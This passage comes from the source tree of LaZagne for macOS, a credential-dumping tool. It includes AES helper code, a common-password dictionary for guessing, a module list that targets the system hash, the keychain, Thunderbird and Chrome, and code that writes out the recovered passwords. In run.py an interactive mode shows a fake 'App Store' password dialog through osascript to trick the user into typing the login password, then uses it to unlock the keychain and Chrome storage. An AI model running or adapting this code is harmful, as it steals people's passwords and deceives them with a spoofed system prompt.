encrypt(self, plaintext): if len(plaintext) % self._segment_bytes != 0: raise ValueError('plaintext block must be a multiple of segment_size') plaintext = _string_to_bytes(plaintext) # Break block into segments encrypted = [ ] for i in xrange(0, len(plaintext), self._segment_bytes): plaintext_segment = plaintext[i: i + self._segment_bytes] xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)] cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ] # Shift the top bits out and the ciphertext in self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) encrypted.extend(cipher_segment) return _bytes_to_string(encrypted) def decrypt(self, ciphertext): if len(ciphertext) % self._segment_bytes != 0: raise ValueError('ciphertext block must be a multiple of segment_size') ciphertext = _string_to_bytes(ciphertext) # Break block into segments decrypted = [ ] for i in xrange(0, len(ciphertext), self._segment_bytes): cipher_segment = ciphertext[i: i + self._segment_bytes] xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)] plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ] # Shift the top bits out and the ciphertext in self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) decrypted.extend(plaintext_segment) return _bytes_to_string(decrypted) class AESModeOfOperationOFB(AESStreamModeOfOperation): '''AES Output Feedback Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, allowing arbitrary length data. o A bit twiddled in the cipher text, twiddles the same bit in the same bit in the plain text, which can be useful for error correction techniques. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4''' name = "Output Feedback (OFB)" def __init__(self, key, iv = None): if iv is None: self._last_precipherblock = [ 0 ] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._last_precipherblock = _string_to_bytes(iv) self._remaining_block = [ ] AESBlockModeOfOperation.__init__(self, key) def encrypt(self, plaintext): encrypted = [ ] for p in _string_to_bytes(plaintext): if len(self._remaining_block) == 0: self._remaining_block = self._aes.encrypt(self._last_precipherblock) self._last_precipherblock = [ ] precipherbyte = self._remaining_block.pop(0) self._last_precipherblock.append(precipherbyte) cipherbyte = p ^ precipherbyte encrypted.append(cipherbyte) return _bytes_to_string(encrypted) def decrypt(self, ciphertext): # AES-OFB is symetric return self.encrypt(ciphertext) class AESModeOfOperationCTR(AESStreamModeOfOperation): '''AES Counter Mode of Operation. o A stream-cipher, so input does not need to be padded to blocks, allowing arbitrary length data. o The counter must be the same size as the key size (ie. len(key)) o Each block independant of the other, so a corrupt byte will not damage future blocks. o Each block has a uniue counter value associated with it, which contributes to the encrypted value, so no data patterns are leaked. o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and Segmented Integer Counter (SIC Security Notes: o This method (and CBC) ARE recommended. o Each message block is associated with a counter value which must be unique for ALL messages with the same key. Otherwise security may be compromised. Also see: o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29 o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5 and Appendix B for managing the initial counter''' name = "Counter (CTR)" def __init__(self, key, counter = None): AESBlockModeOfOperation.__init__(self, key) if counter is None: counter = Counter() self._counter = counter self._remaining_counter = [ ] def encrypt(self, plaintext): while len(self._remaining_counter) < len(plaintext): self._remaining_counter += self._aes.encrypt(self._counter.value) self._counter.increment() plaintext = _string_to_bytes(plaintext) encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ] self._remaining_counter = self._remaining_counter[len(encrypted):] return _bytes_to_string(encrypted) def decrypt(self, crypttext): # AES-CTR is symetric return self.encrypt(crypttext) # Simple lookup table for each mode AESModesOfOperation = dict( ctr = AESModeOfOperationCTR, cbc = AESModeOfOperationCBC, cfb = AESModeOfOperationCFB, ecb = AESModeOfOperationECB, ofb = AESModeOfOperationOFB, ) ================================================ FILE: Mac/lazagne/config/crypto/pyaes/blockfeeder.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable # First we inject three functions to each of the modes of operations # # _can_consume(size) # - Given a size, determine how many bytes could be consumed in # a single call to either the decrypt or encrypt method # # _final_encrypt(data, padding = PADDING_DEFAULT) # - call and return encrypt on this (last) chunk of data, # padding as necessary; this will always be at least 16 # bytes unless the total incoming input was less than 16 # bytes # # _final_decrypt(data, padding = PADDING_DEFAULT) # - same as _final_encrypt except for decrypt, for # stripping off padding # PADDING_NONE = 'none' PADDING_DEFAULT = 'default' # @TODO: Ciphertext stealing and explicit PKCS#7 # PADDING_CIPHERTEXT_STEALING # PADDING_PKCS7 # ECB and CBC are block-only ciphers def _block_can_consume(self, size): if size >= 16: return 16 return 0 # After padding, we may have more than one block def _block_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding == PADDING_DEFAULT: data = append_PKCS7_padding(data) elif padding == PADDING_NONE: if len(data) != 16: raise Exception('invalid data length for final block') else: raise Exception('invalid padding option') if len(data) == 32: return self.encrypt(data[:16]) + self.encrypt(data[16:]) return self.encrypt(data) def _block_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding == PADDING_DEFAULT: return strip_PKCS7_padding(self.decrypt(data)) if padding == PADDING_NONE: if len(data) != 16: raise Exception('invalid data length for final block') return self.decrypt(data) raise Exception('invalid padding option') AESBlockModeOfOperation._can_consume = _block_can_consume AESBlockModeOfOperation._final_encrypt = _block_final_encrypt AESBlockModeOfOperation._final_decrypt = _block_final_decrypt # CFB is a segment cipher def _segment_can_consume(self, size): return self.segment_bytes * int(size // self.segment_bytes) # CFB can handle a non-segment-sized block at the end using the remaining cipherblock def _segment_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding != PADDING_DEFAULT: raise Exception('invalid padding option') faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) padded = data + to_bufferable(faux_padding) return self.encrypt(padded)[:len(data)] # CFB can handle a non-segment-sized block at the end using the remaining cipherblock def _segment_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding != PADDING_DEFAULT: raise Exception('invalid padding option') faux_padding = (chr(0) * (self.segment_bytes - (len(data) % self.segment_bytes))) padded = data + to_bufferable(faux_padding) return self.decrypt(padded)[:len(data)] AESSegmentModeOfOperation._can_consume = _segment_can_consume AESSegmentModeOfOperation._final_encrypt = _segment_final_encrypt AESSegmentModeOfOperation._final_decrypt = _segment_final_decrypt # OFB and CTR are stream ciphers def _stream_can_consume(self, size): return size def _stream_final_encrypt(self, data, padding = PADDING_DEFAULT): if padding not in [PADDING_NONE, PADDING_DEFAULT]: raise Exception('invalid padding option') return self.encrypt(data) def _stream_final_decrypt(self, data, padding = PADDING_DEFAULT): if padding not in [PADDING_NONE, PADDING_DEFAULT]: raise Exception('invalid padding option') return self.decrypt(data) AESStreamModeOfOperation._can_consume = _stream_can_consume AESStreamModeOfOperation._final_encrypt = _stream_final_encrypt AESStreamModeOfOperation._final_decrypt = _stream_final_decrypt class BlockFeeder(object): '''The super-class for objects to handle chunking a stream of bytes into the appropriate block size for the underlying mode of operation and applying (or stripping) padding, as necessary.''' def __init__(self, mode, feed, final, padding = PADDING_DEFAULT): self._mode = mode self._feed = feed self._final = final self._buffer = to_bufferable("") self._padding = padding def feed(self, data = None): '''Provide bytes to encrypt (or decrypt), returning any bytes possible from this or any previous calls to feed. Call with None or an empty string to flush the mode of operation and return any final bytes; no further calls to feed may be made.''' if self._buffer is None: raise ValueError('already finished feeder') # Finalize; process the spare bytes we were keeping if data is None: result = self._final(self._buffer, self._padding) self._buffer = None return result self._buffer += to_bufferable(data) # We keep 16 bytes around so we can determine padding result = to_bufferable('') while len(self._buffer) > 16: can_consume = self._mode._can_consume(len(self._buffer) - 16) if can_consume == 0: break result += self._feed(self._buffer[:can_consume]) self._buffer = self._buffer[can_consume:] return result class Encrypter(BlockFeeder): 'Accepts bytes of plaintext and returns encrypted ciphertext.' def __init__(self, mode, padding = PADDING_DEFAULT): BlockFeeder.__init__(self, mode, mode.encrypt, mode._final_encrypt, padding) class Decrypter(BlockFeeder): 'Accepts bytes of ciphertext and returns decrypted plaintext.' def __init__(self, mode, padding = PADDING_DEFAULT): BlockFeeder.__init__(self, mode, mode.decrypt, mode._final_decrypt, padding) # 8kb blocks BLOCK_SIZE = (1 << 13) def _feed_stream(feeder, in_stream, out_stream, block_size = BLOCK_SIZE): 'Uses feeder to read and convert from in_stream and write to out_stream.' while True: chunk = in_stream.read(block_size) if not chunk: break converted = feeder.feed(chunk) out_stream.write(converted) converted = feeder.feed() out_stream.write(converted) def encrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): 'Encrypts a stream of bytes from in_stream to out_stream using mode.' encrypter = Encrypter(mode, padding = padding) _feed_stream(encrypter, in_stream, out_stream, block_size) def decrypt_stream(mode, in_stream, out_stream, block_size = BLOCK_SIZE, padding = PADDING_DEFAULT): 'Decrypts a stream of bytes from in_stream to out_stream using mode.' decrypter = Decrypter(mode, padding = padding) _feed_stream(decrypter, in_stream, out_stream, block_size) ================================================ FILE: Mac/lazagne/config/crypto/pyaes/util.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # Why to_bufferable? # Python 3 is very different from Python 2.x when it comes to strings of text # and strings of bytes; in Python 3, strings of bytes do not exist, instead to # represent arbitrary binary data, we must use the "bytes" object. This method # ensures the object behaves as we need it to. def to_bufferable(binary): return binary def _get_byte(c): return ord(c) try: xrange except NameError: def to_bufferable(binary): if isinstance(binary, bytes): return binary return bytes(ord(b) for b in binary) def _get_byte(c): return c def append_PKCS7_padding(data): pad = 16 - (len(data) % 16) return data + to_bufferable(chr(pad) * pad) def strip_PKCS7_padding(data): if len(data) % 16 != 0: raise ValueError("invalid length") pad = _get_byte(data[-1]) if pad > 16: raise ValueError("invalid padding byte") return data[:-pad] ================================================ FILE: Mac/lazagne/config/dico.py ================================================ def get_dic(): return [ b"password", b"123456", b"12345678", b"1234", b"qwerty", b"12345", b"dragon", b"pussy", b"baseball", b"football", b"letmein", b"monkey", b"696969", b"abc123", b"mustang", b"michael", b"shadow", b"master", b"jennifer", b"111111", b"2000", b"jordan", b"superman", b"harley", b"1234567", b"fuckme", b"hunter", b"fuckyob", b"trustno1", b"ranger", b"buster", b"thomas", b"tigger", b"robert", b"soccer", b"fuck", b"batman", b"test", b"pass", b"killer", b"hockey", b"george", b"charlie", b"andrew", b"michelle", b"love", b"sunshine", b"jessica", b"asshole", b"6969", b"pepper", b"daniel", b"access", b"123456789", b"654321", b"joshua", b"maggie", b"starwars", b"silver", b"william", b"dallas", b"yankees", b"123123", b"ashley", b"666666", b"hello", b"amanda", b"orange", b"biteme", b"freedom", b"computer", b"sexy", b"thunder", b"nicole", b"ginger", b"heather", b"hammer", b"summer", b"corvette", b"taylor", b"fucker", b"austin", b"1111", b"merlin", b"matthew", b"121212", b"golfer", b"cheese", b"princess", b"martin", b"chelsea", b"patrick", b"richard", b"diamond", b"yellow", b"bigdog", b"secret", b"asdfgh", b"sparky", b"cowboy", b"camaro", b"anthony", b"matrix", b"falcon", b"iloveyob", b"bailey", b"guitar", b"jackson", b"purple", b"scooter", b"phoenix", b"aaaaaa", b"morgan", b"tigers", b"porsche", b"mickey", b"maverick", b"cookie", b"nascar", b"peanut", b"justin", b"131313", b"money", b"horny", b"samantha", b"panties", b"steelers", b"joseph", b"snoopy", b"boomer", b"whatever", b"iceman", b"smokey", b"gateway", b"dakota", b"cowboys", b"eagles", b"chicken", b"dick", b"black", b"zxcvbn", b"please", b"andrea", b"ferrari", b"knight", b"hardcore", b"melissa", b"compaq", b"coffee", b"booboo", b"bitch", b"johnny", b"bulldog", b"xxxxxx", b"welcome", b"james", b"player", b"ncc1701", b"wizard", b"scooby", b"charles", b"junior", b"internet", b"bigdick", b"mike", b"brandy", b"tennis", b"blowjob", b"banana", b"monster", b"spider", b"lakers", b"miller", b"rabbit", b"enter", b"mercedes", b"brandon", b"steven", b"fender", b"john", b"yamaha", b"diablo", b"chris", b"boston", b"tiger", b"marine", b"chicago", b"rangers", b"gandalf", b"winter", b"bigtits", b"barney", b"edward", b"raiders", b"porn", b"badboy", b"blowme", b"spanky", b"bigdaddy", b"johnson", b"chester", b"london", b"midnight", b"blue", b"fishing", b"000000", b"hannah", b"slayer", b"11111111", b"rachel", b"sexsex", b"redsox", b"thx1138", b"asdf", b"marlboro", b"panther", b"zxcvbnm", b"arsenal", b"oliver", b"qazwsx", b"mother", b"victoria", b"7777777", b"jasper", b"angel", b"david", b"winner", b"crystal", b"golden", b"butthead", b"viking", b"jack", b"iwantb", b"shannon", b"murphy", b"angels", b"prince", b"cameron", b"girls", b"madison", b"wilson", b"carlos", b"hooters", b"willie", b"startrek", b"captain", b"maddog", b"jasmine", b"butter", b"booger", b"angela", b"golf", b"lauren", b"rocket", b"tiffany", b"theman", b"dennis", b"liverpoo", b"flower", b"forever", b"green", b"jackie", b"muffin", b"turtle", b"sophie", b"danielle", b"redskins", b"toyota", b"jason", b"sierra", b"winston", b"debbie", b"giants", b"packers", b"newyork", b"jeremy", b"casper", b"bubba", b"112233", b"sandra", b"lovers", b"mountain", b"united", b"cooper", b"driver", b"tucker", b"helpme", b"fucking", b"pookie", b"lucky", b"maxwell", b"8675309", b"bear", b"suckit", b"gators", b"5150", b"222222", b"shithead", b"fuckoff", b"jaguar", b"monica", b"fred", b"happy", b"hotdog", b"tits", b"gemini", b"lover", b"xxxxxxxx", b"777777", b"canada", b"nathan", b"victor", b"florida", b"88888888", b"nicholas", b"rosebud", b"metallic", b"doctor", b"trouble", b"success", b"stupid", b"tomcat", b"warrior", b"peaches", b"apples", b"fish", b"qwertyui", b"magic", b"buddy", b"dolphins", b"rainbow", b"gunner", b"987654", b"freddy", b"alexis", b"braves", b"cock", b"2112", b"1212", b"cocacola", b"xavier", b"dolphin", b"testing", b"bond007", b"member", b"calvin", b"voodoo", b"7777", b"samson", b"alex", b"apollo", b"fire", b"tester", b"walter", b"beavis", b"voyager", b"peter", b"porno", b"bonnie", b"rush2112", b"beer", b"apple", b"scorpio", b"jonathan", b"skippy", b"sydney", b"scott", b"red123", b"power", b"gordon", b"travis", b"beaver", b"star", b"jackass", b"flyers", b"boobs", b"232323", b"zzzzzz", b"steve", b"rebecca", b"scorpion", b"doggie", b"legend", b"ou812", b"yankee", b"blazer", b"bill", b"runner", b"birdie", b"bitches", b"555555", b"parker", b"topgun", b"asdfasdf", b"heaven", b"viper", b"animal", b"2222", b"bigboy", b"4444", b"arthur", b"baby", b"private", b"godzilla", b"donald", b"williams", b"lifehack", b"phantom", b"dave", b"rock", b"august", b"sammy", b"cool", b"brian", b"platinum", b"jake", b"bronco", b"paul", b"mark", b"frank", b"heka6w2", b"copper", b"billy", b"cumshot", b"garfield", b"willow", b"cunt", b"little", b"carter", b"slut", b"albert", b"69696969", b"kitten", b"super", b"jordan23", b"eagle1", b"shelby", b"america", b"11111", b"jessie", b"house", b"free", b"123321", b"chevy", b"bullshit", b"white", b"broncos", b"horney", b"surfer", b"nissan", b"999999", b"saturn", b"airborne", b"elephant", b"marvin", b"shit", b"action", b"adidas", b"qwert", b"kevin", b"1313", b"explorer", b"walker", b"police", b"christin", b"december", b"benjamin", b"wolf", b"sweet", b"therock", b"king", b"online", b"dickhead", b"brooklyn", b"teresa", b"cricket", b"sharon", b"dexter", b"racing", b"penis", b"gregory", b"0000", b"teens", b"redwings", b"dreams", b"michigan", b"hentai", b"magnum", b"87654321", b"nothing", b"donkey", b"trinity", b"digital", b"333333", b"stella", b"cartman", b"guinness", b"123abc", b"speedy", b"buffalo", b"kitty"] ================================================ FILE: Mac/lazagne/config/manage_modules.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python from lazagne.config.soft_import_module import soft_import from lazagne.softwares.browsers.firefox_browsers import firefox_browsers def get_categories(): category = { 'browsers': {'help': 'Web browsers supported'}, 'mails': {'help': 'Email clients supported'}, 'system': {'help': 'System credentials'}, 'unused': {'help': 'This modules could not be used because of broken dependence'} } return category def get_modules_names(): return [ # system ("lazagne.softwares.system.hashdump", "HashDump"), ("lazagne.softwares.system.chainbreaker", "ChainBreaker"), ("lazagne.softwares.system.system", "System"), # mails ("lazagne.softwares.mails.thunderbird", "Thunderbird"), # browsers ("lazagne.softwares.browsers.chrome", "Chrome") ] def get_modules(): modules = [soft_import(package_name, module_name)() for package_name, module_name in get_modules_names()] return modules + firefox_browsers ================================================ FILE: Mac/lazagne/config/module_info.py ================================================ """ name => Name of a class category => windows / browsers / etc options => dictionary - command - action - dest - help ex: ('-s', action='store_true', dest='skype', help='skype') options['command'] = '-s' options['action'] = 'store_true' options['dest'] = 'skype' options['help'] = 'skype' """ from lazagne.config.write_output import print_debug class ModuleInfo(object): def __init__(self, name, category, sub_options=[]): self.name = name self.category = category self.options = { 'command': '-{name}'.format(name=self.name), 'action': 'store_true', 'dest': self.name, 'help': '{name} passwords'.format(name=self.name) } self.suboptions = sub_options def error(self, message): print_debug('ERROR', message) def info(self, message): print_debug('INFO', message) def debug(self, message): print_debug('DEBUG', message) def warning(self, message): print_debug('WARNING', message) ================================================ FILE: Mac/lazagne/config/run.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python import subprocess import traceback import getpass from lazagne.config.constant import constant from lazagne.config.write_output import print_debug, StandardOutput from lazagne.config.manage_modules import get_categories, get_modules from lazagne.softwares.browsers.chrome import Chrome def create_module_dic(): if constant.modules_dic: return constant.modules_dic modules = {} # Define a dictionary for all modules for category in get_categories(): modules[category] = {} # Add all modules to the dictionary for m in get_modules(): modules[m.category][m.options['dest']] = m constant.modules_dic = modules return modules def get_safe_storage_key(key): try: for passwords in constant.keychains_pwds: if key in passwords['Service']: return passwords['Password'] except Exception: pass return False def run_cmd(cmd): p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) result, _ = p.communicate() if result: return result else: return '' def run_module(module, subcategories): """ Run only one module """ modules_to_launch = [] # Launch only a specific module for i in subcategories: if subcategories[i] and i in module: modules_to_launch.append(i) # Launch all modules if not modules_to_launch: modules_to_launch = module for i in modules_to_launch: try: constant.st.title_info(i.capitalize()) # print title pwd_found = module[i].run() # run the module constant.st.print_output(i.capitalize(), pwd_found) # print the results # Return value - not used but needed yield True, i.capitalize(), pwd_found except Exception: error_message = traceback.format_exc() print_debug('DEBUG', error_message) yield False, i.capitalize(), error_message def run_modules(category_selected, subcategories): """ Run modules """ modules = create_module_dic() categories = [category_selected] if category_selected != 'all' else get_categories() for category in categories: for r in run_module(modules[category], subcategories): yield r def run_lazagne(category_selected='all', subcategories={}, password=None, interactive=False): """ Main function """ if password: constant.user_password = password if not constant.st: constant.st = StandardOutput() user = getpass.getuser() constant.finalResults = {'User': user} # Could be easily changed application = 'App Store' i = 0 while True: # Run all modules for r in run_modules(category_selected, subcategories): yield r # Execute once if not interactive, # Otherwise print the dialog box until the user keychain is unlocked (so the user password has been found) if not interactive or (interactive and constant.user_keychain_find): break elif interactive and not constant.user_keychain_find: msg = '' if i == 0: msg = 'App Store requires your password to continue.' else: msg = 'Password incorrect! Please try again.' # Code inspired from: https://github.com/fuzzynop/FiveOnceInYourLife cmd = 'osascript -e \'tell app "{application}" to activate\' -e \'tell app "{application}" ' \ 'to activate\' -e \'tell app "{application}" to display dialog "{msg}" & return & ' \ 'return default answer "" with icon 1 with hidden answer with title "{application} Alert"\''.format( application=application, msg=msg ) pwd = run_cmd(cmd) if pwd.split(':')[1].startswith('OK'): constant.user_password = pwd.split(':')[2].strip() i += 1 # If the user enter 10 bad password, be nice with him and break the loop if i > 10: break # If keychains has been decrypted, launch again some module chrome_key = get_safe_storage_key('Chrome Safe Storage') if chrome_key: for r in run_module({'chrome': Chrome(safe_storage_key=chrome_key)}, subcategories): yield r constant.stdout_result.append(constant.finalResults) ================================================ FILE: Mac/lazagne/config/soft_import_module.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from importlib import import_module from lazagne.config.module_info import ModuleInfo def soft_import(package_name, module_name): """ Imports module or return mock object which only print error """ try: module = import_module(package_name) return getattr(module, module_name) except ImportError as ex: # Emulate import ModuleInfo: return object (function) which generates objects of type ModuleInfo # This could be done with metaclasses, but now let's just keep it simple. def get_import_error_mock(module_name, exception): return lambda *args, **kwargs: _MOCK_ImportErrorInModule(module_name, exception) return get_import_error_mock(module_name, ex) class _MOCK_ImportErrorInModule(ModuleInfo): def __init__(self, name, exception): super(_MOCK_ImportErrorInModule, self).__init__(name, "unused") self.__message_to_print = "Module %s is not used due to unresolved dependence:\r\n%s" % (name, str(exception)) def run(self): self.error(self.__message_to_print) ================================================ FILE: Mac/lazagne/config/write_output.py ================================================ #!/usr/bin/env python # -*- encoding: utf-8 -*- from lazagne.config.constant import constant from platform import uname from time import gmtime, strftime import logging import getpass import socket import json import sys import os class Bcolors(object): HEADER = '\033[95m' OKBLUE = '\033[94m' OK = '\033[92m' WARNING = '\033[96m' FAIL = '\033[91m' TITLE = '\033[93m' ENDC = '\033[0m' class StandardOutput(object): def __init__(self): self.banner = ''' |====================================================================| | | | The LaZagne Project | | | | ! BANG BANG ! | | | |====================================================================| ''' def set_color(self, color=None): b = Bcolors() sys.stdout.write({'white': b.TITLE, 'red': b.FAIL, 'green': b.OK, 'cyan': b.WARNING}.get(color, b.ENDC)) # Print banner def first_title(self): self.do_print(message=self.banner, color='white') # Python 3.7.3 on Darwin x86_64: i386 python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname()) self.print_logging(function=logging.debug, prefix='[!]', message=python_banner, color='white') # Info option for the logging def print_title(self, title): t = u'------------------- ' + title + ' passwords -----------------\n' self.do_print(message=t, color='white') # Debug option for the logging def title_info(self, title): t = u'------------------- ' + title + ' passwords -----------------\n' self.print_logging(function=logging.info, prefix='', message=t, color=False) def write_header(self): time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format( banner=self.banner.replace('\n', '\r\n'), date=str(time), username=getpass.getuser(), hostname=socket.gethostname() ) open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)), "a+").write(header) def write_footer(self): footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nbPasswordFound) open(os.path.join(constant.folder_name, '{filename}.txt'.format(filename=constant.file_name_results)), "a+").write(footer) def print_footer(self, elapsed_time=None): footer = '\n[+] %s passwords have been found.\n' % str(constant.nbPasswordFound) if not logging.getLogger().isEnabledFor(logging.INFO): footer += 'For more information launch it again with the -v option\n' if elapsed_time: footer += '\nelapsed time = ' + str(elapsed_time) self.do_print(footer) def print_logging(self, function, prefix='[!]', message='', color=False): if constant.quiet_mode: return try: msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message) except Exception: msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message)) if color: self.set_color(color) function(msg) self.set_color() else: function(msg) def try_unicode(self, obj, encoding='utf-8'): try: if isinstance(obj, basestring): # noqa: F821 if not isinstance(obj, unicode): # noqa: F821 obj = unicode(obj, encoding) # noqa: F821 except Exception: pass return obj def print_without_error(self, message): try: print(message) except Exception: print(repr(message)) # Centralize print function def do_print(self, message='', color=None): # Quiet mode => nothing is printed if constant.quiet_mode: return message = self.try_unicode(message) if color: self.set_color(color=color) self.print_without_error(message) self.set_color() else: self.print_without_error(message) def checks_write(self, values, category): if values: if "Passwords" not in constant.finalResults: constant.finalResults["Passwords"] = [] constant.finalResults["Passwords"].append([{"Category": category}, values]) def print_output(self, software_name, pwd_found): if pwd_found: # If the debug logging level is not apply => print the title if not logging.getLogger().isEnabledFor(logging.INFO): self.print_title(software_name) to_write = [] # Remove duplicated password pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])] for pwd in pwd_found: password_category = False # Detect which kinds of password has been found lower_list = [s.lower() for s in pwd] password = [s for s in lower_list if "password" in s] if password: password_category = password else: key = [s for s in lower_list if "key" in s] # for the wifi if key: password_category = key else: hash_ = [s for s in lower_list if "hash" in s] if hash_: password_category = hash_ else: cmd = [s for s in lower_list if "cmd" in s] if cmd: password_category = cmd # Do not print empty passwords try: if not pwd[password_category[0].capitalize()]: continue except Exception: pass # No password found if not password_category: print_debug("ERROR", "Password not found !!!") else: # Store all passwords found on a table => for dictionary attack if master password set constant.nbPasswordFound += 1 passwd = None try: passwd = pwd[password_category[0].capitalize()] if passwd not in constant.passwordFound: constant.passwordFound.append(passwd) except Exception: pass # Password field is empty if not passwd: print_debug("FAILED", u'Password not found !!!') else: print_debug("OK", u'{password_category} found !!!'.format( password_category=password_category[0].title())) to_write.append(pwd) for p in pwd: self.do_print('%s: %s' % (p, pwd[p])) self.do_print() # Write credentials into a text file self.checks_write(to_write, software_name) else: print_debug("INFO", "No passwords found") def print_debug(error_level, message): # Quiet mode => nothing is printed if constant.quiet_mode: return # Print when password is found if error_level == 'OK': constant.st.do_print(message='[+] {message}'.format(message=message), color='green') # Print when password is not found elif error_level == 'ERROR': constant.st.do_print(message='[-] {message}'.format(message=message), color='red') elif error_level == 'CRITICAL' or error_level == 'ERROR': constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red') elif error_level == 'WARNING': constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan') elif error_level == 'DEBUG': constant.st.print_logging(function=logging.debug, message=message, prefix='[!]') else: constant.st.print_logging(function=logging.info, message=message, prefix='[!]') # --------------------------- End of output functions --------------------------- def parse_json_result_to_buffer(json_string, color=False): green = '' reset = '' title = '' if color: b = Bcolors() green = b.OK title = b.TITLE reset = b.ENDC buffer = '' try: for json in json_string: if json: if 'Passwords' not in json: buffer += 'No passwords found for this user !' else: for all_passwords in json['Passwords']: buffer += '{title_color}------------------- {password_category} -----------------' \ '{reset_color}\r\n'.format( title_color=title, password_category=all_passwords[0]['Category'], reset_color=reset ) for password_by_category in all_passwords[1]: buffer += '\r\n{green_color}Password found !!!{reset_color}\r\n'.format( green_color=green, reset_color=reset ) for dic in password_by_category: try: buffer += '%s: %s\r\n' % (dic, password_by_category[dic].encode('utf-8')) except Exception: buffer += '%s: %s\r\n' % ( dic, password_by_category[dic].encode(encoding='utf-8', errors='replace') ) buffer += '\r\n' except Exception as e: print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=e)) return buffer def write_in_file(result): """ Write output to file (json and txt files) """ if constant.output in ('json', 'all'): try: # Human readable Json format pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': ')) with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'a+b') as f: f.write(pretty_json.encode('UTF-8')) constant.st.do_print( '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.json') except Exception as e: print_debug('ERROR', 'Error writing the output file: %s' % e) if constant.output in ('txt', 'all'): try: with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'a+b') as f: a = parse_json_result_to_buffer(result) f.write(a.encode("UTF-8")) constant.st.write_footer() constant.st.do_print( '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.txt') except Exception as e: print_debug('ERROR', 'Error writing the output file: %s' % e) ================================================ FILE: Mac/lazagne/softwares/__init__.py ================================================ ================================================ FILE: Mac/lazagne/softwares/browsers/__init__.py ================================================ # -*- coding: utf-8 -*- ================================================ FILE: Mac/lazagne/softwares/browsers/chrome.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python # Awesome work from @manwhoami # check the github repo: https://github.com/manwhoami/OSXChromeDecrypt import subprocess import itertools import binascii import operator 